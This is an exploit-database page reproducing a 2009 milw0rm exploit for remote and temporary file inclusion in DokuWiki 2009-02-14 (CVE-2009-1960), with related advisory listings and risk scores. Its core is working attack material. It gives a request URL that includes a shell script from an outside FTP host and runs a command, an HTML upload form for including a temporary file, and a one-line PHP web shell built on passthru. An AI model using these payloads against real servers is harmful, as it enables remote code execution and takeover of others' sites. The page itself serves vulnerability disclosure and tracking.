Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion
🗓️ 26 May 2009 00:00:00Reported by Nine:Situations:GroupType
exploitdb🔗 www.exploit-db.com👁 82 Views
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| dokuwiki -- Local File Inclusion with register_globals on | 26 May 200900:00 | – | freebsd | |
| CVE-2009-1960 | 26 May 200900:00 | – | circl | |
| CVE-2009-1960 | 6 Jun 200918:00 | – | cve | |
| CVE-2009-1960 | 6 Jun 200918:00 | – | cvelist | |
| CVE-2009-1960 | 6 Jun 200918:00 | – | debiancve | |
| DokuWiki config_cascade Parameter Remote File Inclusion | 27 May 200900:00 | – | nessus | |
| FreeBSD : dokuwiki -- Local File Inclusion with register_globals on (4f838b74-50a1-11de-b01f-001c2514716c) | 5 Jun 200900:00 | – | nessus | |
| GLSA-200908-09 : DokuWiki: Local file inclusion | 20 Aug 200900:00 | – | nessus | |
| Immunity Canvas: DOKUWIKI_EXEC2 | 8 Jun 200901:00 | – | canvas | |
| Dokuwiki 2009-02-14 - Local File Inclusion | 26 May 200900:00 | – | exploitdb |
10
Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working
I was reading: http://www.milw0rm.com/exploits/8781
by girex
[quote]
It's not a RFI couse use of file_exists function.
[/quote]
How wrong brother!
trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)
http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:[email protected]/folder/sh.php&cmd=ls%20-la>out.txt
trick 2:
needs register_globals = on
file_uploads = On (default)
include a temporary file passed by the $_FILES[] array:
<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>
where your shell is like:
<?php passthru($_GET[cmd]); die();?>
because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !
Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/
# milw0rm.com [2009-05-26]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 May 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.23157